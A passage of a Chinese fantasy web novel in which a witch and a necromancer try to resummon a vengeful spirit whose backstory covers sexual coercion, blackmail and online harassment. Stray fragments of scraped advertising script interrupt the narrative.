紫发小女孩看似天真地眨着眼睛,长长睫毛像极了忽闪忽闪的蝶翼。但说出的每一句话,都是在往某位“梦幻仙人掌三阶园丁”的心口捅刀子。 话说到一半,暴雨从天而降—— 正如岑小哉那相当不好看的脸色。 郑颢终于隐约想起,女巫从一开始就说过,她有个死对头是……亡灵法师。 雨滴落下之前,岑小哉面无表情地打了个响指,巨大的彩色泡泡从草坪上升起,将在场四个生物笼罩其中。 “天气很糟糕,我们不如去采蜜吧。” 雨下得这么大,要去采蜜? 郑颢和许晓芊站在大泡泡里面,虽然没被雨淋到,却还是两脸茫然,没听懂女巫在说什么。 布兰奇听懂了,但她看起来对这件事也没什么兴趣:“我不认为人类世界能产出比你们婴儿梦境花园里更加美味的花蜜。” 原本两米高的彩色泡泡骤然缩小,变得跟玻璃弹珠差不多。装在泡泡里的几个人也随之变小,每人手里还多出一个小陶罐。 不过女巫抱着的显然是她的坩埚。 周围几厘米高的小草变成了苍天大树。一粒水珠蓦地滚落,在凡人们眼中就成了一个大水球汹涌而来,极有可能将透明而薄弱的泡泡砸破,许晓芊微微睁大了眼睛,而郑颢脸都吓白了。 魔法世界的来客们却只顾着大眼瞪小眼,大概是在尝试用眼神将对方痛扁一顿。 轻风吹来,泡泡们齐齐飘向天空,似乎早已知道该如何借助风力抵达自己的目的地。 知了猴不由得想起那只从头到尾都不知道长什么样子的“智慧交通工具”。 “女巫大人,那您的毛毛虫车呢?” “噢,应该是在噩梦之主的消化系统里面等待羽化吧。” “……您就不担心它被消化了吗?” “没关系,有我们伟大的亡灵法师在这里——”岑小哉冷哼一声,双手抱臂,盘腿坐在泡泡中央,“她几乎可以召唤一切,哪怕是噩梦之主的亡灵。” 布兰奇终于不再理会女巫的阴阳怪气。 那幅莎草纸卷悬停在她面前,一支黑色羽毛笔不知是何时从何处出现,反正它此刻正在纸卷上舞文弄墨,几行风格诡谲的文字很快取代了原本的小动画。 “‘我们一起去买东西,一起去排队’。” 站在她后面那个泡泡里的许晓芊惊讶发现,自己竟然能看懂纸卷上写的两句撒丁文。 亡灵法师没有回头,却微微勾起嘴角。 “千万不要念出来哦,这里现在可没什么东西能充当亡灵召唤术的锚点物品。” 泡泡们飞进一处繁盛的朱槿花丛中。 女巫率先捧起坩埚,从花瓣中央的蜜腺上接下那将滴未滴的花蜜。 与此同时,她开口说话的声音在另外三个泡泡里面响起:“我们接下来得先把笔仙找回来。有两个待选目标,一个是魏笑纤,另一个是卢炯烽和杜倩倩。当然,我更倾向于后者。” “什么笔仙——等会儿,你打算用凡人来充当亡灵召唤术的锚点物品?” 布兰奇的语气有点迟疑,不敢相信自己居然一下子就猜到了她的“图谋不轨”。 “嗯哼,有什么问题吗?”女巫隔着层层叠叠的花叶,很不服气地瞥了她一眼。 27. 魔法堕胎 “恨比爱更长久。”许晓芊轻声解释,“笔仙在消失之前,一心只想向这两个人复仇。” “啧,我可真是服了你了,玛菲。” 布兰奇抬手扶额,不明白自己为什么会在考试前夕被卷进人类世界受这种莫名其妙的苦。 女巫冷哼一声,看起来依然为自己无端受到诅咒的梦幻仙人掌们而忿忿不平。 郑颢挠了挠头,又挠了挠脸,终于磕磕绊绊地开了口:“其实,其实女巫大人她,可能是因为我,才会遇到笔仙的。” 话说完,他的脸立刻涨得通红,像个快要爆炸的红气球。 亡灵法师瞥了他一眼,只点了点头,什么话也没说。 “确实是这样没错,知了猴。很高兴你终于对自己是个超级倒霉蛋这件事有了更加明确的认知。” 岑小哉往坩埚里倒了三罐朱槿花蜜,又丢进去一只公鸡爪子、一条蛇尾巴和几团熏鱼内脏——谁也不知道她是从哪里拿出这些诡异的玩意儿。 坩埚摇身一变,以炼丹炉的形态闪亮登场。 女巫从尖顶帽里掏出几颗五颜六色的宝石,再次开口吟唱:“FaRe——Asonitisbrucia!” 宝石上的符文被触发后开始燃烧,火焰同样五颜六色。她打开炼丹炉的盖子,宝石们跟逃命似的“嗖”地飞了进去。 那只炼丹炉也开始闪闪发光。 “女巫大人,您这是要炼什么丹啊?”郑颢被闪得忍不住捂眼睛。 “‘阿斯蒙蒂斯的余烬’。” 犹如言出法随,炼丹炉五彩斑斓的光芒迅速熄灭了。 岑小哉从炉中拿出了一坨五彩斑斓的不明物体,转身递给许晓芊。 “涂在你的肚子上,它可以立即消除一切妊娠反应,尤其是那个肮脏的寄生物。” “这样我就不用嫁给胡锐锋了,对吗?”许晓芊的眼睛顿时亮起来,是按捺不住的笑意。 郑颢抢答道:“你本来就不用嫁给他。” 与此同时,卷毛青年左半边脸的肌肉隐隐抽搐,露出一种很奇怪的表情,混杂了七分痛苦和三分怜悯。 布兰奇看了看他,欲言又止。 “外敷一次,不能口服,唯一的不良反应是可能会导致食欲比较旺盛。” 女巫把那坨“阿斯蒙蒂斯的余烬”放在女孩手上,从神态、语言到动作所展露出来的耐心,简直让布兰奇和郑颢同时惊掉下巴。 当天晚饭是在郑颢家吃的。 他眼睁睁看着一只两米高的柿红色大章鱼从女巫的尖顶帽里“咕噜”冒出,身上甚至还穿着一条西红柿图案的围裙。 章鱼管家带着大包小包从魔法世界“千光年迢迢”地赶来,为女巫和亡灵法师还有两个凡人做出了四荤三素的六菜一汤,事了又匆匆遁去。 “鱿克怎么不留下来一起吃晚饭?”布兰奇问道。 “‘终焉梦境’要为下一次奇点狂欢节的演出进行排练,它们有工作餐的。” 女巫正在用牙齿对付一块冒着烟的核桃木烤三文鱼,忙得没空抬头。 郑颢活了三十年,也很少吃过这么丰盛的晚餐,更别说许晓芊了。 她刚刚使用过“阿斯蒙蒂斯的余烬”,正是胃口大开的时候。 但女孩吃着吃着,忽然停下来,自言自语般悄悄说了一句:“要是粒粒和冯姐姐也在,那该多好。” “放心吧,大家很快就能聚齐了。现在倒是可以先围观一下,目标人物们今天发生了什么事情,看能不能趁机动动手脚什么的。” 岑小哉打了个响指。 “小明小明,展示追踪目标:杜倩倩、卢炯烽。” 饭桌的空余位置上,一颗水晶球应声而出,对面墙壁再次出现一幕与现实完全相同的投影—— 杜倩倩坐在街边的长椅上,旁边是一束玫瑰花和一个戒指盒。 她却下意识抚着小腹,满脸通红:“我,我已经有小宝宝了。” “我不在乎。倩倩,只要你愿意,我就是孩子的爸爸。” 卢炯烽一身西装革履,在她面前单膝跪下,小心翼翼地握住她的双手,眼中甚至泛起了泪光。 “倩倩,嫁给我。我会永远爱你、宠你,不会让你受半点委屈,让我来照顾你一辈子,好不好?” 杜倩倩慌乱地眨了好几下眼睛,不知道该拒绝还是答应。 就在这时,一个穿着伍港一中校服的高马尾少女从马路对面匆匆跑过。 拎着书包走在她身后的男生也穿了同款校服,眉眼却桀骜不驯,怎么看都不像正经高中生。 是他,是高照。 杜倩倩的心跳顿时“扑通扑通”地变快了。 人行道的红灯亮起,车流穿梭不止。 那女孩只顾低着头往前走,高照立刻冲过去将她拉住,等她站定后又缓缓松开手。 杜倩倩一时愣住。 他可不是那种乐于助人的好学生。 就算看不清脸,她也已经猜到了,那个女孩会是谁—— 戴玉粒后知后觉地抬起头,朝四周茫然张望了一圈,清丽面容上带着泪痕。 她抬手抹了一下脸,高照站在旁边,完全手足无措的样子。 杜倩倩简直不敢相信,伍港一中最出名的校霸,也会有这样腼腆又慌乱的时候。 他在自己面前,似乎永远是游刃有余的肆意笑容。解开她的衣扣,像剥掉泡泡糖的包装纸一样轻松,却还故意低声说着:“我不懂,你教教我呗。” 要不是验孕棒上出现的两条杠还历历在目,她甚至要怀疑,文印室里发生的所有事情都是一场幻觉。 “倩倩?”卢炯烽又喊了她一声。 杜倩倩回过神,穿着校服的少年人们已走远。 她望着他们并肩而行的背影,眼眶酸胀发热,胸腔里却像溺水般,骤然一片冰冷。 “好,我答应你。” 卢炯烽回到家的时候,脸上笑意还没散去,就看见自己的孪生弟弟坐在客厅里,一副看好戏的样子。 他瞬间没了笑容。 “就凭你,也想泡那个古堃来的杜小姐?人家那可是商会会长的宝贝千金,来咱们伍港这小地方避避风头而已,怎么可能看上你个卖保险的穷鬼?” 胡锐锋昨天刚出院,身上还裹着绷带,即便如此也要用手狂拍大腿,笑得非常癫狂。 “我说哥啊,你这么想吃天鹅肉,就不怕被噎死嘛哈哈哈!” “你怎么知道的?”卢炯烽咬着后槽牙,从喉咙里逼出这句话。 “我妈说的呗。就连老爸都觉得你是不自量力,不过你那个姓卢的爸应该会支持你的,只可惜他已经死了二十几年,看不到你娶老婆,真是可惜呀。” 卢炯烽死死盯着他,左半边脸微微抽搐着,仿佛皮肉下的愤恨与怨毒即将翻涌而出。 很快,胡锐锋就笑不出来了。 不知为何,他咽了好几下口水,一只手开始抓挠着脖子和喉咙,另一只手却用力按住了肚子,简直像是想把五脏六腑都扯出来。 “你!你昨天给我吃了什么东西……” 话还没说完,胡锐锋已经两眼翻白,倒在地上疯狂抽搐、翻滚,用头“砰砰砰”撞地板,然后开始口 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 吐白沫。 等到他吐得差不多了,卢炯烽才慢条斯理地把一小块肉状物丢在他面前:“要么吃,要么等死,自己选。” … “他手里——怎么会有——” 投影之外,女巫原本正往嘴里塞一块焦糖南瓜派,忽然瞪大了眼睛拍桌而起。 “一只八目莲蓬蟾蜍?” 亡灵法师满脸讶异地接上她来不及说出的话。 “真是见鬼了,玛菲。你锁在无穷无尽抽屉里的那只,不是上上个奇点初期的时候从什么山抓回去的吗?” “具体来说,是匡山派存在的那个四维空间。”岑小哉嚼着南瓜派,神情严肃地点点头,“卢炯烽手里这只,应该也是从同一个坐标逃窜过来的。” 郑颢大概知道,她们是在讨论卢炯烽手里那个看起来裹着一层老树皮的盒子。但作为一个普通凡人,他更加震惊的是投影画面里透露出的巨大信息量。 “杜倩倩怀了高照的孩子?!” “而高照根本就不知道?然后她就要嫁给胡——不对,卢炯烽了?” “我的天啊,这个世界是不是有点太疯狂了!” “她说不定也需要‘阿斯蒙蒂斯的余烬’。”许晓芊很淡定地应道。 看着胡锐锋在地上一边打滚一边口吐白沫,对她来说更有助于增进食欲。 “但很显然,杜倩倩打算生下这个孩子。” 女巫抽空瞥了画面里的“兄友弟恭”一眼,又瞥了她的“死对头”一眼。 “说真的,我不太理解。不过这正是一个重新召唤笔仙的大好机会。” 岑小哉抬手拨动投影,画面迅速倒退回杜倩倩坐在街边的长椅上,卢炯烽对着她单膝下跪时的场景。 “女巫,让我来吧。”许晓芊主动开口,语气有点急切,“我好像,可以感应到笔仙。” “布兰奇?”岑小哉狐疑地挑了挑眉,亡灵法师只是笑眯眯不说话。 “好吧,那你来试试。” 布兰奇用手指在空中绕了几个圈,黑色羽毛笔和一幅空白的莎草纸卷骤然出现,悬停在许晓芊面前。 凡人女孩闭上眼,念出的是:“‘我们一起去买东西,一起去排队’。” 羽毛笔没有半点犹豫,在莎草纸卷上流利写出了一句“Egosumtepetoetuiderequeo.” 黑色墨迹晃晃悠悠飘浮起来,倏地化作白色光芒,直直罩住了投影画面里的杜倩倩和卢炯烽。 【啊!一个凡人竟然违规使用了亡灵召唤术,在座的每一位魔法世界居民都有责任!】 有一本魔法书又一次发出了尖锐暴鸣,但无人在意。 水晶球投影开始跳帧。 画面中,杜倩倩脸上的表情从羞怯逐渐变成惊恐,而卢炯烽完全没了人形:眼球和舌头齐齐脱落,四肢忽然断裂,全身像是被无数双看不见的手用力撕开,一时间鲜血四溅。 幸好,小明是一颗非常智能的水晶球。 考虑到女巫她们才刚吃过晚饭,它自动将全部血腥场面进行了漫画式处理,甚至还是充满童趣的乐高积木风格。 “看得出来,这位笔仙确实很恨这个卢炯烽,下手还真够凶残的……”布兰奇干笑了两声。 亡灵法师的话还没说完,投影里的杜倩倩也当场裂开了。 物理意义上的裂开。 她被拦腰斩成了两半。 “玛菲,解释一下。”布兰奇彻底笑不出来了。 “呃,这么说吧。我们现在看到的这两堆人类碎片,就是压倒骆驼的最后两捧稻草。” 28. 爱是鬼魂 一个人需要经历多少次灵魂层面的死亡,才会变成怨气缠身、丧失所有人性的厉鬼? 答案是个未知数。 冯筱迁十八岁这一年,高考结束后,她在父母的威逼之下,被迫跟着邻村的刘大姐去古堃打工。 进的是个藏在城中村的工坊,每天叠纸盒,叠一个能赚两毛工钱。三餐都吃三元一个的盒饭,晚上要在公共厕所里洗澡。 睡觉是在复合板隔出来的房间里面,三十几度的天,只有一个小风扇。她睡在双层铺的上层,一坐起来头就会“嘭”地撞上天花板。 走出房门迎面就是其他厂的工人,夏天热得不行,男的全部打赤膊,连背心都不穿。有几个看到冯筱迁这种年轻女孩,还会笑眯眯说一些口音浓重的脏话,问她想不想多赚点钱买衣服零食。 冯筱迁只过了六天就受不了,打电话回家,母亲一开始还笑嘻嘻地劝她坚持坚持,一听她说什么都不肯继续留在古堃,立刻就恼火了。 “才去了没两天就要回来,车费都凑不到!” “别人可以,你怎么就不行?” “这就叫先苦后甜,我们年轻的时候出去打工,还跟人挤大通铺呢。你好好干自己的活就行了,不要想太多!” 电话“啪”一下被挂断了。 冯筱迁难以置信地握着通讯器,直到脸上的泪痕完全变冷。 家里已经穷到没有她打工赚的三瓜两枣就揭不开锅了吗?那当然不是。 刘大姐的丈夫因为酒后纵火被捕,突发急病死在了拘留室,儿女都还小,只能靠她一人赚钱养家。 冯筱迁的父亲是供电所职工,母亲是伍港人民医院的护士。两人也没什么不良嗜好,作为他们的独生女,冯筱迁根本不需要小小年纪就去吃苦讨生活。 第七天的凌晨三点,她下楼上厕所,黑灯瞎火的,被一个流浪汉扑倒在垃圾堆边。 万幸的是,刘大姐也刚好下来,立刻抓起楼道里的废弃铁水管,一边大骂,一边上手暴打,终于把那个男人给赶跑了。 冯筱迁吓得彻底崩溃,不知道该怎么办,最后打给了魏笑纤。电话还没接通,人已经哭得说不清楚话了。 魏笑纤当即就从南街打车到那个城中村来接她。 而冯筱迁的父母听说她离开了那里,又着急忙慌地打电话找她,夫妻俩轮流骂了一顿之后,要求冯筱迁立刻回家。 “这是家,不是旅馆。你一放假就每天睡到中午,吃完饭就坐着玩终端,一个女孩子家邋邋遢遢的,都长一身肥肉了,还不爱打扮,将来怎么嫁得出去?” 餐桌上每天都会出现同样的念叨,冯筱迁以前还会辩驳两句,或者嬉皮笑脸说自己不嫁。 从古堃回来后,她学会了沉默。 短短一个星期,那些凉透的菜和没熟透的饭,还有那个又脏又臭的流浪汉,让冯筱迁瘦了整整七斤,正巧是她出生时的重量。同时也让她患上了胃病,稍微吃撑一点就会胃痛,然后呕吐。 那年暑假结束,冯筱迁瘦了一大圈。 从此以后,她的体重平均每年下降七斤。高中时接近一百三十斤,二十五岁时只剩下八十斤左右。 因为每次吃饭时,冯筱迁总会突然想起那股恶臭,有时候甚至怀疑臭味就藏在自己身体里面。 出来工作的第二年年尾,两个月没联系的母亲忽然打来了电话。 “筱迁啊,回家的车票你定了吗?定了几点的?用不用你爸去车站接你啊?” 背景音里一片嘈杂,最突出的是冯筱迁她二姑妈的大嗓门:“煮饭了没?给筱迁带了她爱吃的烤鸭……” “公司要加班,我就不回去过年了。” 她母亲的通讯连着家里那台音响,姑妈一家刚好上门,听了个清清楚楚。 “什么!过年也不回来?” “这个不孝女,趁早把她嫁掉算了,留在家里惹人烦!” 二姑妈是在跟冯筱迁的母亲开玩笑,但她们也确实持有这种想法,非常坚定,不可撼动。 没回老家过年,冯筱迁就跟魏笑纤一起在古堃的酒吧街玩了个通宵。 冯筱迁喝多了是坐在马路边不停掉眼泪,魏笑纤喝多了反倒笑个不停。她背靠着路灯杆,妆有点花了,长发也被夜风吹得凌乱,却有一种烟视媚行的美。 有不少路过的人偷偷用终端拍她,大概是把她错认成哪个演员明星了。 魏笑纤甚至还醉醺醺地朝他们挥了挥手,结果那些人反倒被吓到,转身跑得飞快。 “哭什么呢,傻丫头。” “我妈她们说我不孝。莉莉,我真的是个不孝女吗?” 冯筱迁拿出掌上终端,翻出满满的五页长截图。 一年一页,每一页都是密密麻麻的转账记录。 黄色的记录是她母亲转给她的,一共二十三条,最大数额是一万和五千,剩下的平均下来不过几百左右。 黑色的就是冯筱迁转给她母亲的了。 九十一条。 平均数额大约是每条两千。 爱是常觉亏欠,不爱是常觉亏本。 爱与不爱,又要如何衡量? “有很多人说,女儿是‘赔钱货’,是泼出去的水。”魏笑纤脸上的笑容更加放肆起来,像一捧烧到极致的火,“多好笑啊,不是他们自己亲手把水泼出去的吗?” 冯筱迁握着终端,愣了好一会儿,忽然也笑了。 这七年以来,她拼命做各种兼职,攒钱整容,考证进修,将自己从一个内向羞怯的丑小鸭磨砺成各种交际场合都能应付得体的优雅女郎。 公司销售部的“业绩之星”荣誉榜上,最顶端就是冯筱迁那张艳丽动人的半身照。 她入职仅仅两年,就已位列第一。但每天走进公司里,很多人看见她,要么似笑非笑,要么转头翻个白眼。 “有什么了不起的,不就是睡上去的么!” “咸鱼变锦鲤,躺平即脱贫,她的命可真好啊。” 那些人背地里总是喊她“女神”。 也有人阴阳怪气地当面叫她“冯小姐”,旁边的就笑嘻嘻接话:“什么冯小姐,得叫胡二夫人才对。” 冯筱迁从不反驳。 即便她很清楚,以自己的工作能力登顶完全是实至名归,但她依然无从反驳。 刚入职时的破冰活动日,冯筱迁喝了很多酒,以胡总马首是瞻的领导们轮流敬她,不喝就是不给面子。 喝到后来,她在厕所吐了两次,醉得几乎昏迷。 第二天醒来时,冯筱迁看着躺在自己身边的胡炯烽,当即跌跌撞撞冲到厕所里吐了第三次。 其实她什么也吐不出来了,但胃里就是一阵阵的恶心抽搐。 “筱迁啊,你昨晚可真美。” “从面试那天开始,我就在想,能得到你的男人可真是有福气。” 冯筱迁浑浑噩噩瘫坐在地上,胡炯烽站在她身后,很有耐心地弯腰伸手,一把抓起她的头发,强迫她抬头看着自己的掌上终端。 屏幕里,是一段不堪入目的视频。 “我希望你别做傻事,看——你身材这么好,皮肤又白,叫起来也好听。这样‘精彩’的内容,可不能便宜了云端上的陌生人,对吧?” 冯筱迁只觉得脑子里一阵轰鸣,整个人忍不住战栗起来,几乎听不清他在说什么。 那些肮脏的画面和声音像重叠在一起的噩梦场景,不停朝她逼近,仿佛要将她活生生撕成碎片。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 要是之前没那么爱面子去减肥整容,没有变美,是不是就不会遇到这种事? 可她又想起地铁上每一只不怀好意的手,它们伸过来的时候,自己也只是个面貌普通的大学生,甚至被高中同学取外号叫“奶牛姐”,根本就不是现在这样的都市丽人。 无论如何,都逃不掉。 那就全部忘了吧,明天照常上班,像以前一样假装什么事都没发生过就好了。 第二天,冯筱迁请了病假,一整天窝在公寓里发呆,不吃不喝。 到了第三天,才勉强打起精神去上班。她拉开工位的抽屉,却发现里面有个天鹅绒首饰盒。 打开一看,是一条玫瑰金钻石项链。 首饰盒下面还压着一张照片。 拍的是冯筱迁躺在床上,一副醉眼迷离任人摆布的样子…… 她的双手再次颤抖,“啪”地盖上首饰盒,下意识就丢进了垃圾桶里。 有人曾送给魏笑纤同品牌不同款式的项链,她转手就卖了出去,价格正好五万二千元。 “我把另一个金主送的手镯也卖了,凑够十万,刚好可以雇几个私立学校的小学老师,给城中村那些没法上学的黑户小孩办个启蒙班。” “人是脏的,钱也是脏的,可我相信自己的心还算干净。” “小冯,我读的书不多,怕别人糊弄我。你不一样,你是大学生,等你有空了,咱们就去给那些小孩检查一下功课。花出去的六位数,好歹要听个响。” 冯筱迁最后还是把那个首饰盒捡起来,转交给魏笑纤让她卖掉,所有的钱都捐给了贫困山区的失学儿童。 她的尊严却还是留在垃圾桶里面,再也捡不回来。 胡炯烽要到泰萨城国的分公司出差两年,那件事似乎就此结束。 公司里来了新的实习生,叫秦正浩。 小年轻顶着个寸头,热爱户外运动,所以晒出一身健康的小麦色。笑起来眼睛亮亮的,见到冯筱迁更是两眼放光,跟她一对上视线,立刻从脸到脖子全部红透。 秦正浩喜欢她。 后来他也知道,公司里的人都不喜欢冯筱迁,但他就是喜欢她。 每天都会给她带早餐、午餐和一束鲜花。 有一次冯筱迁因为痛经差点昏厥,秦正浩当着所有人的面抱起她,打车去了医院。从那之后,他开始每天给冯筱迁送补气血的红枣桂圆汤。 冯筱迁不知道自己喜不喜欢他。 但情人节的时候,她还是答应了秦正浩,晚上一起去看电影。 两人坐在最后一排的情侣座。 黑暗中,秦正浩偷偷牵住她的手,冯筱迁没有挣开。 电影散场时已经是半夜十一点。 “都这么晚了,还要回去吗?”秦正浩低声问她,却还紧紧牵着她的手不放。 冯筱迁摇了摇头,心跳很快。 “你爱我吗?”她躺在床上,默许他的亲近,有种孤注一掷的绝望与渴望。 秦正浩不懂她的眼神,也无法真正理解怀里的艳丽女人为什么泪流不止。情到浓时,他也只会反复说着一句“我爱你,迁迁。” 七年前的4月30日发生了两件事:许家灭门、郑颢猝死。七年后的这一天也发生了两件事—— 当日的云端头条是#女白领私密照意外泄露# 冷战半个月后,秦正浩在电话里跟冯筱迁提出分手,连再见她一面都不愿意。 而就在半个月前,胡炯烽从泰萨城国回来了。 冯筱迁工位的抽屉里再次出现一张照片,还有一枚镶嵌着粉钻的铂金戒指。 但那一天,最先看到这些东西的人,却是准备了恋爱六十天纪念品,打算给冯筱迁一个惊喜的秦正浩。 29. 逃过一劫 “我当时,当时已经被灌醉了!”冯筱迁的辩解语无伦次,脸颊滚烫,双手冰冷,整个人又开始不停颤抖,“真的不是自愿的,他们全部围着我,一直让我喝酒……” “你明明可以拒绝的!” 秦正浩红着眼,朝着终端里的她怒吼了这一句后立即挂断。 他拉黑了她的通讯号码,夜晚就去酒吧买醉,对所有向他示好的陌生异性都来者不拒。连续好几天,早上醒来身边都是不同的女孩,有时甚至不止一个。 冯筱迁至死都不知道,他变得如此放浪形骸。 她被困在自证陷阱当中,痛恨自己的懦弱,质疑自己是否罪有应得,胡炯烽还在不停骚扰她。 照片、戒指出现的当天晚上,冯筱迁收到一条短信,内容是酒店地址和房间号。 她像只缩头乌龟,关掉掌上终端,把自己反锁在租住的公寓里,用酒和安眠药强迫自己睡过去。 但噩梦才刚刚开始—— 云端的匿名版块上,有人发布了一组脸部打码的艳.照。标题取得很直白,谁看了都会觉得鄙夷:《结婚时他说会爱我一辈子,现在却跟别的女人上/床!》 热度迅速发酵,这条帖子一夜之间就爆成云端头条:#女白领私密照意外泄露# 发帖者的本意是控诉渣男出轨,但大部分人都只顾着对“不知廉耻的小三”指指点点,评论区简直群魔乱舞。 “苍蝇不叮无缝的蛋,懂吗?” “就她那样的*货,蛋壳都已经被*烂了吧!” “啧啧啧,也不知道谁会那么倒霉去当接盘侠。” 还有女生转发@男朋友:“好恶心哦这种女人,但是她身材真的挺好的耶!” 她男朋友也赶紧转发:“宝宝,她没你好看~” 第二天早上,杜倩倩带人在公司写字楼门口拉起了一条横幅,上面写着“替夫纳妾”。 这件事也被人拍下来发上了云端,直接就升级成了当天的新头条:#“白领门”后续# 一时间,所有人都知道了,原来昨天闹得沸沸扬扬的“白领门”女主角冯某某,就是他们明里暗里嘲讽的“女神”:冯筱迁。 事情的真相是什么,似乎变得不重要了。 那些人不约而同地开始起哄,拼命落井下石。 反正冯筱迁只不过是个从伍港那种小地方出来的年轻女孩,身家背景都很一般,怎么欺负都行,没人会替她出头。 “果然是个陪睡上位的贱人!” “活该!谁让她要当小三!” “胡夫人不愧是正室哈哈哈,打小三都能这么大大方方,真是霸气侧漏!” 他们口中的胡夫人,也就是杜倩倩,此刻脸色惨然,其实也并没有想象中那么威风八面。 胡炯烽出差两年,备用终端放在家里,被三岁的小儿子翻了出来。杜倩倩一时无聊就开了机,结果看到了那些让她目眦欲裂的照片,甚至还有一段更加恶心的视频。 云端的匿名帖子是她自己发的,拉横幅的人却是她花钱雇的。 七年来,杜倩倩被胡炯烽养在家里,除了生孩子、带孩子,就是逛街买买买,再也没上过一天班。别说是胡炯烽自己开的公司,就连从前被杜家牢牢把持的古堃商会也成了他的囊中之物。 到了这种要撕破脸的时候,杜倩倩才发现,没有半个娘家人肯站出来帮自己,就连亲生父母也劝她息事宁人,忍一时风平浪静,以后还能继续当衣食无忧的“胡夫人”。 杜倩倩从小是家里的掌上明珠,二十岁那年她父亲涉嫌贪污被关进安全署,都要先把她安排去伍港老家避风头。这么多年来,唯一一个让她吃瘪的人,就只有高照。 高照伤透了她的心,所以她怀着他的孩子嫁给胡炯烽,自以为婚姻已经是生命里最后一件需要忍耐的事情。 当初求婚的时候,胡炯烽明明都哭了,那么卑微又虔诚地对她说:“我会永远爱你、宠你,不会让你受半点委屈,让我来照顾你一辈子……” 可就连杜倩倩非常看不上的这个男人,最后也背叛了她。 … 水晶球投影还在不停跳帧,两堆血腥的人类碎片却一动不动。 “这这这,怎么回事?召唤失败了吗?”郑颢吓得有点结巴。 许晓芊也有点忐忑:“难道对着投影不行,对真人施法才有效?” 布兰奇踮起脚,拍拍她的肩膀表示安抚。 但转身面向岑小哉时,她立刻咧起嘴角,表情里一半无可奈何,一半幸灾乐祸。 “我就说嘛,用活人来充当亡灵召唤术的锚点物品,怎么可能行得通呢?” 女巫飘在原地,满头冰蓝色羊毛卷炸得像朵蒲公英,一双赤金竖瞳紧缩成点,目光呆滞。 所有人都见惯了她趾高气昂的样子,顿时被这种失魂落魄的状态吓得不轻。 “玛菲?你又在酝酿什么鬼主意?”亡灵法师警惕问道。 岑小哉像是瞬间惊醒,她脸上缓缓浮现一抹“与虎谋皮并且成功得手了”的笑容:“嗨呀,这个时空的冯筱迁也‘觉醒’了。” 之前那个连续七天不断重复的噩梦场景立刻跳出来,将郑颢掐出一声惨叫:“什么!那不得赶紧找到她,免得她又做什么傻事……” 他话还没说完,女巫已经举起斩.马.刀,隔空往水晶球投影上一点。 一个白色光斑从中间开始迅速扩散,变成一轮满月。 金色纹路如蛛网般隐现,构成传送魔法阵,将在场众人都卷了进去。 “着陆”地点是伍港一中的A栋教学楼——的楼顶。 不算很高,但也有七层。 天际一抹斜阳将云层晕染成瑰丽又梦幻的粉紫色,美得有点不真实。 有个穿着校服的女生坐在天台边上。 头发很短,又参差不齐,很明显是她自己刚刚剪的。 这时的冯筱迁,还没有变成多年之后那种病态的瘦弱,更不是怨气冲天的可怖笔仙。看起来有点肉乎乎的,气色却非常红润健康。 女巫一行人急吼吼赶到的时候,她正眺望着伍港区南方,一脸迷惘。 郑颢当即松了口气:“还好还好,只是把头发剪得乱七八糟,人还没绝望到直接跳下去。” “没事,我们有个专业的亡灵法师。”岑小哉斜睨了布兰奇一眼,似笑非笑。 “她就是笔仙?” 紫发黑袍的小女孩抱臂站立在原地,完全无视了女巫的挑衅。她的姿态相当高贵冷艳,脸上的困惑倒也货真价实。 “玛菲,我不太明白。她只是噩梦之主随机抓取的一个角色而已,你浪费那么多魔力,原来就为了化解她身上的怨气?” “才,才没有!”岑小哉双手叉腰,抬头望天,“我只是为了更加圆满地完成任务,拿到魔药材料而已。” 这回换做亡灵法师开始似笑非笑了。 郑颢张了张嘴,说不出话。只是时不时偷瞟布兰奇一眼,脸色一会儿红一会儿白的,看起来心情比天台边上的冯筱迁还复杂。 “冯姐姐,你在干嘛?” 许晓芊一边轻声询问,一边装作若无其事地走到她身边——实际上随时做好准备,只要冯筱迁有半点轻生的苗头,就立刻死死抓住她不放。 “思考人生。”冯筱迁微笑着应道。 大家沉默了一瞬,显然都被这个很有说服力的回答给镇住了。 毕竟,从一个人化为一只厉鬼,再重新变回七年前的自己,这种体验确实有点不寻常。 “我一直都很羡慕戴玉粒。就算是变成笔仙,思维混乱的那段时间,也很羡慕她。”冯筱迁双手抱膝,望向远方的晚霞,眼中有化不开的怅然。 “高照真的很喜欢她,为了她简直可以连命都不要。” 校霸头子喜欢三好学生。 这是伍港一中无人不知的一件事。 “可就算这样,粒粒也还是很坚定地不喜欢高照。”许晓芊的语气非常认真。 她知道,胡锐锋闯入卤煮店的那天,戴玉粒和高照都在后巷。 但如神兵天降般救下她的,只有戴玉粒一人——高照退缩了,他不想多管闲事。戴玉粒对此却没有半点诧异,更别说失望了。 她对他,大部分时候都不会抱有多余的期待。 而“粒粒”这个称呼,让冯筱迁蓦地心惊:“她到后来还是不喜欢高照,为什么?” “呃那个,你可能不知道。”郑颢咳了咳,莫名有点尴尬,“七年后,高照他……包养了魏笑纤。而且戴姐,哦就是戴玉粒,她还亲眼见过他俩出双入对。” “……” 冯筱迁的脸“唰”地白了。 布兰奇的脸“唰”地绿了。 这一刻,天台上的沉默,震耳欲聋。 “咯咯咯咯,布兰奇你现在看起来就像一颗被霜打过的焉茄子。”女巫的笑声几乎响彻云霄。 只有许晓芊于心不忍,轻轻拍了拍冯筱迁的肩膀。 ——戴玉粒是“粒粒”,魏笑纤也是“莉莉”。 ——原来高照就是莉莉说过的“二世祖”。 迟来的重磅消息犹如一口裹着糖衣的屎,终于成功重创了冯筱迁那颗根深蒂固的恋爱脑:她曾以为的真爱,原来也不过如此。 “你好,十八岁的冯筱迁。”女巫飘到她面前,歪着头打了个招呼,“相信我,可爱与被爱都不重要,最最重要的,仅仅只是——” 岑小哉停顿了一下,忽然看向坐在冯筱迁身边的那个女孩。许晓芊眨了眨眼,脱口而出:“好好活着。” “然后搞死坏蛋!” “才能保护莉莉。” 女巫和冯筱迁同时说道。 一人一女巫面面相觑,在彼此脸上看到同样的疑惑不解。 冯筱迁随即低头笑了一下,再抬起头时,眼神不再迷茫,有种在黑暗 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 中看见了前方曙光般的坚定。 “莉莉只有一个跟她生父同样垃圾的哥,妈妈在她很小的时候,就因为生第三个孩子结果宫外孕去世了。” 